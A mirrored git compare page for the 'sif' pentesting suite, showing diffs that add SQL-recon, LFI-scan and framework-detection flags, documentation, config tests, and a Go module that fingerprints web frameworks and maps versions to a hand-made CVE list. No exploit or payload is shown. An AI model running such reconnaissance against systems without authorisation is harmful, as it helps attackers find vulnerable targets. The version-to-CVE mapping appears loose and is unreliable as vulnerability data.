mirror of
https://github.com/lunchcat/sif.git
synced 2026-06-15 19:38:53 -07:00
Compare commits
15 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 5868deef21 | |||
| b43e54bf60 | |||
| c75ebccb27 | |||
| 858555bc47 | |||
| 51ee65c5df | |||
| 035e9406d9 | |||
| ba5468725e | |||
| 49b081dc30 | |||
| 127eeff265 | |||
| 1b493e9572 | |||
| 74b044ce59 | |||
| 2a2bcf5b92 | |||
| 166e1b82c2 | |||
| be9c02e8ba | |||
| 018af224d6 |
@@ -20,7 +20,7 @@ jobs:
|
||||
run: make
|
||||
- name: Run Sif with features
|
||||
run: |
|
||||
./sif -u https://google.com -dnslist small -dirlist small -dork -git -whois -cms
|
||||
./sif -u https://example.com -dnslist small -dirlist small -dork -git -whois -cms -framework
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Sif ran successfully"
|
||||
else
|
||||
|
||||
@@ -53,6 +53,98 @@ When making a pull request, please adhere to the following conventions:
|
||||
|
||||
If you have any questions, feel free to ask around on the IRC channel.
|
||||
|
||||
## Contributing Framework Detection Patterns
|
||||
|
||||
The framework detection module (`pkg/scan/frameworks/detect.go`) identifies web frameworks by analyzing HTTP headers and response bodies. To add support for a new framework:
|
||||
|
||||
### Adding a New Framework Signature
|
||||
|
||||
1. Add your framework to the `frameworkSignatures` map:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{Pattern: `unique-identifier`, Weight: 0.5},
|
||||
{Pattern: `header-signature`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `body-signature`, Weight: 0.3},
|
||||
},
|
||||
```
|
||||
|
||||
**Pattern Guidelines:**
|
||||
- `Weight`: How much this signature contributes to detection (0.0-1.0)
|
||||
- `HeaderOnly`: Set to `true` for HTTP header patterns
|
||||
- Use unique identifiers that won't false-positive on other frameworks
|
||||
- Include multiple patterns for higher confidence
|
||||
|
||||
### Adding Version Detection
|
||||
|
||||
Add version patterns to `extractVersionWithConfidence()`:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{`MyFramework[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
|
||||
{`"myframework":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
|
||||
},
|
||||
```
|
||||
|
||||
### Adding CVE Data
|
||||
|
||||
Add known vulnerabilities to the `knownCVEs` map:
|
||||
|
||||
```go
|
||||
"MyFramework": {
|
||||
{
|
||||
CVE: "CVE-YYYY-XXXXX",
|
||||
AffectedVersions: []string{"1.0.0", "1.0.1", "1.1.0"},
|
||||
FixedVersion: "1.2.0",
|
||||
Severity: "high", // critical, high, medium, low
|
||||
Description: "Brief description of the vulnerability",
|
||||
Recommendations: []string{"Update to 1.2.0 or later"},
|
||||
},
|
||||
},
|
||||
```
|
||||
|
||||
### Testing Your Changes
|
||||
|
||||
Always add tests for new frameworks in `detect_test.go`:
|
||||
|
||||
```go
|
||||
func TestDetectFramework_MyFramework(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<html><body>unique-identifier</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
// assertions...
|
||||
}
|
||||
```
|
||||
|
||||
### Future Enhancements (Help Wanted)
|
||||
|
||||
- **Custom Signature Support**: Allow users to define signatures via config file
|
||||
- **CVE API Integration**: Real-time CVE data from NVD or other sources
|
||||
- **Automated Signature Updates**: Fetch new signatures from a central repository
|
||||
- **Framework Fingerprint Database**: Community-maintained signature database
|
||||
|
||||
## Configuration
|
||||
|
||||
### Framework Detection Flags
|
||||
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `-framework` | Enable framework detection |
|
||||
| `-timeout` | HTTP request timeout (affects all modules) |
|
||||
| `-threads` | Number of concurrent workers |
|
||||
| `-log` | Directory to save scan results |
|
||||
| `-debug` | Enable debug logging for verbose output |
|
||||
|
||||
### Environment Variables
|
||||
|
||||
| Variable | Description |
|
||||
|----------|-------------|
|
||||
| `SHODAN_API_KEY` | API key for Shodan host intelligence |
|
||||
|
||||
## Packaging
|
||||
|
||||
We'd love it if you helped us bring sif to your distribution.
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
[](https://go.dev/)
|
||||
[](https://github.com/vmfunc/sif/actions)
|
||||
[](LICENSE)
|
||||
[](https://discord.gg/sifcli)
|
||||
|
||||
**[install](#install) · [usage](#usage) · [modules](#modules) · [contribute](#contribute)**
|
||||
|
||||
@@ -56,6 +57,15 @@ requires go 1.23+
|
||||
# javascript framework detection + cloud misconfig
|
||||
./sif -u https://example.com -js -c3
|
||||
|
||||
# shodan host intelligence (requires SHODAN_API_KEY env var)
|
||||
./sif -u https://example.com -shodan
|
||||
|
||||
# sql recon + lfi scanning
|
||||
./sif -u https://example.com -sql -lfi
|
||||
|
||||
# framework detection (with cve lookup)
|
||||
./sif -u https://example.com -framework
|
||||
|
||||
# everything
|
||||
./sif -u https://example.com -all
|
||||
```
|
||||
@@ -78,6 +88,10 @@ run `./sif -h` for all options.
|
||||
| `cms` | cms detection |
|
||||
| `whois` | whois lookups |
|
||||
| `git` | exposed git repository detection |
|
||||
| `shodan` | shodan host intelligence (requires SHODAN_API_KEY) |
|
||||
| `sql` | sql admin panel and error disclosure detection |
|
||||
| `lfi` | local file inclusion vulnerability scanning |
|
||||
| `framework` | web framework detection with version + cve lookup |
|
||||
|
||||
## contribute
|
||||
|
||||
@@ -94,6 +108,12 @@ golangci-lint run
|
||||
go test ./...
|
||||
```
|
||||
|
||||
## community
|
||||
|
||||
join our discord for support, feature discussions, and pentesting tips:
|
||||
|
||||
[](https://discord.gg/sifcli)
|
||||
|
||||
## contributors
|
||||
|
||||
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
|
||||
|
||||
@@ -42,6 +42,9 @@ type Settings struct {
|
||||
CloudStorage bool
|
||||
SubdomainTakeover bool
|
||||
Shodan bool
|
||||
SQL bool
|
||||
LFI bool
|
||||
Framework bool
|
||||
}
|
||||
|
||||
const (
|
||||
@@ -85,6 +88,9 @@ func Parse() *Settings {
|
||||
flagSet.BoolVar(&settings.CloudStorage, "c3", false, "Enable C3 Misconfiguration Scan"),
|
||||
flagSet.BoolVar(&settings.SubdomainTakeover, "st", false, "Enable Subdomain Takeover Check"),
|
||||
flagSet.BoolVar(&settings.Shodan, "shodan", false, "Enable Shodan lookup (requires SHODAN_API_KEY env var)"),
|
||||
flagSet.BoolVar(&settings.SQL, "sql", false, "Enable SQL reconnaissance (admin panels, error disclosure)"),
|
||||
flagSet.BoolVar(&settings.LFI, "lfi", false, "Enable LFI (Local File Inclusion) reconnaissance"),
|
||||
flagSet.BoolVar(&settings.Framework, "framework", false, "Enable framework detection"),
|
||||
)
|
||||
|
||||
flagSet.CreateGroup("runtime", "Runtime",
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestSettingsDefaults(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// noscan should default to false (base scan runs by default)
|
||||
if settings.NoScan != false {
|
||||
t.Errorf("expected NoScan default to be false, got %v", settings.NoScan)
|
||||
}
|
||||
|
||||
// other scan flags should default to false
|
||||
if settings.Dorking != false {
|
||||
t.Errorf("expected Dorking default to be false, got %v", settings.Dorking)
|
||||
}
|
||||
if settings.Git != false {
|
||||
t.Errorf("expected Git default to be false, got %v", settings.Git)
|
||||
}
|
||||
if settings.Nuclei != false {
|
||||
t.Errorf("expected Nuclei default to be false, got %v", settings.Nuclei)
|
||||
}
|
||||
if settings.JavaScript != false {
|
||||
t.Errorf("expected JavaScript default to be false, got %v", settings.JavaScript)
|
||||
}
|
||||
if settings.CMS != false {
|
||||
t.Errorf("expected CMS default to be false, got %v", settings.CMS)
|
||||
}
|
||||
if settings.Headers != false {
|
||||
t.Errorf("expected Headers default to be false, got %v", settings.Headers)
|
||||
}
|
||||
if settings.CloudStorage != false {
|
||||
t.Errorf("expected CloudStorage default to be false, got %v", settings.CloudStorage)
|
||||
}
|
||||
if settings.SubdomainTakeover != false {
|
||||
t.Errorf("expected SubdomainTakeover default to be false, got %v", settings.SubdomainTakeover)
|
||||
}
|
||||
|
||||
// enum settings should default to empty string
|
||||
if settings.Dirlist != "" {
|
||||
t.Errorf("expected Dirlist default to be empty, got %v", settings.Dirlist)
|
||||
}
|
||||
if settings.Dnslist != "" {
|
||||
t.Errorf("expected Dnslist default to be empty, got %v", settings.Dnslist)
|
||||
}
|
||||
if settings.Ports != "" {
|
||||
t.Errorf("expected Ports default to be empty, got %v", settings.Ports)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsNoScanBehavior(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
noScan bool
|
||||
shouldBaseScan bool
|
||||
}{
|
||||
{
|
||||
name: "default - base scan should run",
|
||||
noScan: false,
|
||||
shouldBaseScan: true,
|
||||
},
|
||||
{
|
||||
name: "noscan enabled - base scan should not run",
|
||||
noScan: true,
|
||||
shouldBaseScan: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
settings := &Settings{NoScan: tt.noScan}
|
||||
|
||||
// the condition in sif.go is: if !app.settings.NoScan { scan.Scan(...) }
|
||||
shouldRun := !settings.NoScan
|
||||
if shouldRun != tt.shouldBaseScan {
|
||||
t.Errorf("expected shouldBaseScan=%v, got %v", tt.shouldBaseScan, shouldRun)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsTimeoutDefault(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// timeout defaults to zero value, actual default (10s) is set in Parse()
|
||||
if settings.Timeout != 0 {
|
||||
t.Errorf("expected Timeout zero value, got %v", settings.Timeout)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsThreadsDefault(t *testing.T) {
|
||||
settings := &Settings{}
|
||||
|
||||
// threads defaults to zero value, actual default (10) is set in Parse()
|
||||
if settings.Threads != 0 {
|
||||
t.Errorf("expected Threads zero value, got %v", settings.Threads)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSettingsWithValues(t *testing.T) {
|
||||
settings := &Settings{
|
||||
NoScan: true,
|
||||
Dorking: true,
|
||||
Git: true,
|
||||
Nuclei: true,
|
||||
JavaScript: true,
|
||||
CMS: true,
|
||||
Headers: true,
|
||||
CloudStorage: true,
|
||||
SubdomainTakeover: true,
|
||||
Dirlist: "medium",
|
||||
Dnslist: "large",
|
||||
Ports: "common",
|
||||
Timeout: 30 * time.Second,
|
||||
Threads: 20,
|
||||
Debug: true,
|
||||
LogDir: "/tmp/logs",
|
||||
ApiMode: true,
|
||||
}
|
||||
|
||||
if !settings.NoScan {
|
||||
t.Error("expected NoScan to be true")
|
||||
}
|
||||
if !settings.Dorking {
|
||||
t.Error("expected Dorking to be true")
|
||||
}
|
||||
if settings.Dirlist != "medium" {
|
||||
t.Errorf("expected Dirlist 'medium', got '%s'", settings.Dirlist)
|
||||
}
|
||||
if settings.Dnslist != "large" {
|
||||
t.Errorf("expected Dnslist 'large', got '%s'", settings.Dnslist)
|
||||
}
|
||||
if settings.Ports != "common" {
|
||||
t.Errorf("expected Ports 'common', got '%s'", settings.Ports)
|
||||
}
|
||||
if settings.Timeout != 30*time.Second {
|
||||
t.Errorf("expected Timeout 30s, got %v", settings.Timeout)
|
||||
}
|
||||
if settings.Threads != 20 {
|
||||
t.Errorf("expected Threads 20, got %d", settings.Threads)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,785 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"math"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
type FrameworkResult struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Confidence float32 `json:"confidence"`
|
||||
VersionConfidence float32 `json:"version_confidence"`
|
||||
CVEs []string `json:"cves,omitempty"`
|
||||
Suggestions []string `json:"suggestions,omitempty"`
|
||||
RiskLevel string `json:"risk_level,omitempty"`
|
||||
}
|
||||
|
||||
type FrameworkSignature struct {
|
||||
Pattern string
|
||||
Weight float32
|
||||
HeaderOnly bool
|
||||
}
|
||||
|
||||
var frameworkSignatures = map[string][]FrameworkSignature{
|
||||
"Laravel": {
|
||||
{Pattern: `laravel_session`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `XSRF-TOKEN`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
|
||||
},
|
||||
"Django": {
|
||||
{Pattern: `csrfmiddlewaretoken`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `csrftoken`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `django.contrib`, Weight: 0.3},
|
||||
{Pattern: `django.core`, Weight: 0.3},
|
||||
{Pattern: `__admin_media_prefix__`, Weight: 0.3},
|
||||
},
|
||||
"Ruby on Rails": {
|
||||
{Pattern: `csrf-param`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `csrf-token`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `_rails_session`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `ruby-on-rails`, Weight: 0.3},
|
||||
{Pattern: `rails-env`, Weight: 0.3},
|
||||
{Pattern: `data-turbo`, Weight: 0.2},
|
||||
},
|
||||
"Express.js": {
|
||||
{Pattern: `Express`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `connect.sid`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"ASP.NET": {
|
||||
{Pattern: `X-AspNet-Version`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `X-AspNetMvc-Version`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `ASP.NET`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `__VIEWSTATE`, Weight: 0.4},
|
||||
{Pattern: `__EVENTVALIDATION`, Weight: 0.3},
|
||||
{Pattern: `__VIEWSTATEGENERATOR`, Weight: 0.3},
|
||||
{Pattern: `.aspx`, Weight: 0.2},
|
||||
{Pattern: `.ashx`, Weight: 0.2},
|
||||
{Pattern: `.asmx`, Weight: 0.2},
|
||||
{Pattern: `asp.net_sessionid`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `X-Powered-By: ASP.NET`, Weight: 0.4, HeaderOnly: true},
|
||||
},
|
||||
"ASP.NET Core": {
|
||||
{Pattern: `.AspNetCore.`, Weight: 0.5, HeaderOnly: true},
|
||||
{Pattern: `blazor`, Weight: 0.4},
|
||||
{Pattern: `_blazor`, Weight: 0.4},
|
||||
{Pattern: `dotnet`, Weight: 0.2, HeaderOnly: true},
|
||||
},
|
||||
"Spring": {
|
||||
{Pattern: `org.springframework`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `spring-security`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `JSESSIONID`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `X-Application-Context`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"Spring Boot": {
|
||||
{Pattern: `spring-boot`, Weight: 0.5},
|
||||
{Pattern: `actuator`, Weight: 0.3},
|
||||
{Pattern: `whitelabel`, Weight: 0.2},
|
||||
},
|
||||
"Flask": {
|
||||
{Pattern: `Werkzeug`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `flask`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `jinja2`, Weight: 0.3},
|
||||
},
|
||||
"Next.js": {
|
||||
{Pattern: `__NEXT_DATA__`, Weight: 0.5},
|
||||
{Pattern: `_next/static`, Weight: 0.4},
|
||||
{Pattern: `__next`, Weight: 0.3},
|
||||
{Pattern: `x-nextjs`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"Nuxt.js": {
|
||||
{Pattern: `__NUXT__`, Weight: 0.5},
|
||||
{Pattern: `_nuxt/`, Weight: 0.4},
|
||||
{Pattern: `nuxt`, Weight: 0.2},
|
||||
},
|
||||
"Vue.js": {
|
||||
{Pattern: `data-v-`, Weight: 0.5},
|
||||
{Pattern: `Vue.js`, Weight: 0.4},
|
||||
{Pattern: `vue.runtime`, Weight: 0.4},
|
||||
{Pattern: `vue.min.js`, Weight: 0.4},
|
||||
{Pattern: `__vue__`, Weight: 0.3},
|
||||
{Pattern: `v-cloak`, Weight: 0.3},
|
||||
},
|
||||
"Angular": {
|
||||
{Pattern: `ng-version`, Weight: 0.5},
|
||||
{Pattern: `ng-app`, Weight: 0.4},
|
||||
{Pattern: `ng-controller`, Weight: 0.4},
|
||||
{Pattern: `angular.js`, Weight: 0.4},
|
||||
{Pattern: `angular.min.js`, Weight: 0.4},
|
||||
{Pattern: `ng-binding`, Weight: 0.3},
|
||||
{Pattern: `_nghost`, Weight: 0.3},
|
||||
{Pattern: `_ngcontent`, Weight: 0.3},
|
||||
},
|
||||
"React": {
|
||||
{Pattern: `data-reactroot`, Weight: 0.5},
|
||||
{Pattern: `react-dom`, Weight: 0.4},
|
||||
{Pattern: `__REACT_DEVTOOLS`, Weight: 0.4},
|
||||
{Pattern: `react.production`, Weight: 0.4},
|
||||
{Pattern: `_reactRootContainer`, Weight: 0.3},
|
||||
},
|
||||
"Svelte": {
|
||||
{Pattern: `svelte`, Weight: 0.4},
|
||||
{Pattern: `__svelte`, Weight: 0.5},
|
||||
{Pattern: `svelte-`, Weight: 0.3},
|
||||
},
|
||||
"SvelteKit": {
|
||||
{Pattern: `__sveltekit`, Weight: 0.5},
|
||||
{Pattern: `_app/immutable`, Weight: 0.4},
|
||||
{Pattern: `sveltekit`, Weight: 0.3},
|
||||
},
|
||||
"Remix": {
|
||||
{Pattern: `__remixContext`, Weight: 0.5},
|
||||
{Pattern: `remix`, Weight: 0.3},
|
||||
{Pattern: `_remix`, Weight: 0.4},
|
||||
},
|
||||
"Gatsby": {
|
||||
{Pattern: `___gatsby`, Weight: 0.5},
|
||||
{Pattern: `gatsby-`, Weight: 0.4},
|
||||
{Pattern: `page-data.json`, Weight: 0.3},
|
||||
},
|
||||
"WordPress": {
|
||||
{Pattern: `wp-content`, Weight: 0.4},
|
||||
{Pattern: `wp-includes`, Weight: 0.4},
|
||||
{Pattern: `wp-json`, Weight: 0.3},
|
||||
{Pattern: `wordpress`, Weight: 0.3},
|
||||
{Pattern: `wp-emoji`, Weight: 0.2},
|
||||
},
|
||||
"Drupal": {
|
||||
{Pattern: `Drupal`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `drupal.js`, Weight: 0.4},
|
||||
{Pattern: `/sites/default/files`, Weight: 0.3},
|
||||
{Pattern: `Drupal.settings`, Weight: 0.3},
|
||||
},
|
||||
"Joomla": {
|
||||
{Pattern: `Joomla`, Weight: 0.4},
|
||||
{Pattern: `/media/jui/`, Weight: 0.4},
|
||||
{Pattern: `/components/com_`, Weight: 0.3},
|
||||
{Pattern: `joomla.javascript`, Weight: 0.3},
|
||||
},
|
||||
"Magento": {
|
||||
{Pattern: `Magento`, Weight: 0.4},
|
||||
{Pattern: `/static/frontend/`, Weight: 0.4},
|
||||
{Pattern: `mage/`, Weight: 0.3},
|
||||
{Pattern: `Mage.Cookies`, Weight: 0.3},
|
||||
},
|
||||
"Shopify": {
|
||||
{Pattern: `Shopify`, Weight: 0.5},
|
||||
{Pattern: `cdn.shopify.com`, Weight: 0.4},
|
||||
{Pattern: `shopify-section`, Weight: 0.4},
|
||||
{Pattern: `myshopify.com`, Weight: 0.3},
|
||||
},
|
||||
"Ghost": {
|
||||
{Pattern: `ghost-`, Weight: 0.4},
|
||||
{Pattern: `Ghost`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `/ghost/api/`, Weight: 0.4},
|
||||
},
|
||||
"Symfony": {
|
||||
{Pattern: `symfony`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `sf_`, Weight: 0.3, HeaderOnly: true},
|
||||
{Pattern: `_sf2_`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"FastAPI": {
|
||||
{Pattern: `fastapi`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `starlette`, Weight: 0.3, HeaderOnly: true},
|
||||
},
|
||||
"Gin": {
|
||||
{Pattern: `gin-gonic`, Weight: 0.4},
|
||||
{Pattern: `gin`, Weight: 0.2, HeaderOnly: true},
|
||||
},
|
||||
"Phoenix": {
|
||||
{Pattern: `_csrf_token`, Weight: 0.4, HeaderOnly: true},
|
||||
{Pattern: `phx-`, Weight: 0.3},
|
||||
{Pattern: `phoenix`, Weight: 0.2},
|
||||
},
|
||||
"Ember.js": {
|
||||
{Pattern: `ember`, Weight: 0.4},
|
||||
{Pattern: `ember-cli`, Weight: 0.4},
|
||||
{Pattern: `data-ember`, Weight: 0.3},
|
||||
},
|
||||
"Backbone.js": {
|
||||
{Pattern: `backbone`, Weight: 0.4},
|
||||
{Pattern: `Backbone.`, Weight: 0.4},
|
||||
},
|
||||
"Meteor": {
|
||||
{Pattern: `__meteor_runtime_config__`, Weight: 0.5},
|
||||
{Pattern: `meteor`, Weight: 0.3},
|
||||
},
|
||||
"Strapi": {
|
||||
{Pattern: `strapi`, Weight: 0.4},
|
||||
{Pattern: `/api/`, Weight: 0.2},
|
||||
},
|
||||
"AdonisJS": {
|
||||
{Pattern: `adonis`, Weight: 0.4},
|
||||
{Pattern: `_csrf`, Weight: 0.2, HeaderOnly: true},
|
||||
},
|
||||
"CakePHP": {
|
||||
{Pattern: `cakephp`, Weight: 0.4},
|
||||
{Pattern: `cake`, Weight: 0.2},
|
||||
},
|
||||
"CodeIgniter": {
|
||||
{Pattern: `codeigniter`, Weight: 0.4},
|
||||
{Pattern: `ci_session`, Weight: 0.4, HeaderOnly: true},
|
||||
},
|
||||
}
|
||||
|
||||
// frameworkMatch holds the result of checking a single framework
|
||||
type frameworkMatch struct {
|
||||
framework string
|
||||
confidence float32
|
||||
}
|
||||
|
||||
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
|
||||
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Framework Detection") + "..."))
|
||||
|
||||
frameworklog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "Framework Detection 🔍",
|
||||
}).With("url", url)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// concurrent framework detection
|
||||
results := make(chan frameworkMatch, len(frameworkSignatures))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for framework, signatures := range frameworkSignatures {
|
||||
wg.Add(1)
|
||||
go func(fw string, sigs []FrameworkSignature) {
|
||||
defer wg.Done()
|
||||
|
||||
var weightedScore float32
|
||||
var totalWeight float32
|
||||
|
||||
for _, sig := range sigs {
|
||||
totalWeight += sig.Weight
|
||||
|
||||
if sig.HeaderOnly {
|
||||
if containsHeader(resp.Header, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
} else if strings.Contains(bodyStr, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
}
|
||||
|
||||
confidence := float32(1.0 / (1.0 + math.Exp(-float64(weightedScore/totalWeight)*6.0)))
|
||||
results <- frameworkMatch{framework: fw, confidence: confidence}
|
||||
}(framework, signatures)
|
||||
}
|
||||
|
||||
// close results channel when all goroutines complete
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(results)
|
||||
}()
|
||||
|
||||
// find the best match
|
||||
var bestMatch string
|
||||
var highestConfidence float32
|
||||
|
||||
for match := range results {
|
||||
if match.confidence > highestConfidence {
|
||||
highestConfidence = match.confidence
|
||||
bestMatch = match.framework
|
||||
}
|
||||
}
|
||||
|
||||
if highestConfidence > 0.5 { // threshold for detection
|
||||
versionMatch := extractVersionWithConfidence(bodyStr, bestMatch)
|
||||
cves, suggestions := getVulnerabilities(bestMatch, versionMatch.Version)
|
||||
|
||||
result := &FrameworkResult{
|
||||
Name: bestMatch,
|
||||
Version: versionMatch.Version,
|
||||
Confidence: highestConfidence,
|
||||
VersionConfidence: versionMatch.Confidence,
|
||||
CVEs: cves,
|
||||
Suggestions: suggestions,
|
||||
RiskLevel: getRiskLevel(cves),
|
||||
}
|
||||
|
||||
if logdir != "" {
|
||||
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
|
||||
bestMatch, versionMatch.Version, highestConfidence, versionMatch.Confidence)
|
||||
if len(cves) > 0 {
|
||||
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
|
||||
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
|
||||
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
|
||||
}
|
||||
logger.Write(url, logdir, logEntry)
|
||||
}
|
||||
|
||||
frameworklog.Infof("Detected %s framework (version: %s, confidence: %.2f)",
|
||||
styles.Highlight.Render(bestMatch), versionMatch.Version, highestConfidence)
|
||||
|
||||
if versionMatch.Confidence > 0 {
|
||||
frameworklog.Debugf("Version detected from: %s (confidence: %.2f)",
|
||||
versionMatch.Source, versionMatch.Confidence)
|
||||
}
|
||||
|
||||
if len(cves) > 0 {
|
||||
frameworklog.Warnf("Risk level: %s", styles.SeverityHigh.Render(result.RiskLevel))
|
||||
for _, cve := range cves {
|
||||
frameworklog.Warnf("Found potential vulnerability: %s", styles.Highlight.Render(cve))
|
||||
}
|
||||
for _, suggestion := range suggestions {
|
||||
frameworklog.Infof("Recommendation: %s", suggestion)
|
||||
}
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
frameworklog.Info("No framework detected with sufficient confidence")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func containsHeader(headers http.Header, signature string) bool {
|
||||
sigLower := strings.ToLower(signature)
|
||||
|
||||
// check header names
|
||||
for name := range headers {
|
||||
if strings.Contains(strings.ToLower(name), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// check header values
|
||||
for _, values := range headers {
|
||||
for _, value := range values {
|
||||
if strings.Contains(strings.ToLower(value), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func detectVersion(body string, framework string) string {
|
||||
return extractVersion(body, framework)
|
||||
}
|
||||
|
||||
// CVEEntry represents a known vulnerability for a framework version
|
||||
type CVEEntry struct {
|
||||
CVE string
|
||||
AffectedVersions []string // versions affected (use semver ranges in future)
|
||||
FixedVersion string
|
||||
Severity string // critical, high, medium, low
|
||||
Description string
|
||||
Recommendations []string
|
||||
}
|
||||
|
||||
// Known CVEs database - can be extended or loaded from external source
|
||||
var knownCVEs = map[string][]CVEEntry{
|
||||
"Laravel": {
|
||||
{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "Ignition debug mode RCE vulnerability",
|
||||
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
|
||||
},
|
||||
{
|
||||
CVE: "CVE-2021-21263",
|
||||
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
|
||||
FixedVersion: "8.5.0",
|
||||
Severity: "high",
|
||||
Description: "SQL injection via request validation",
|
||||
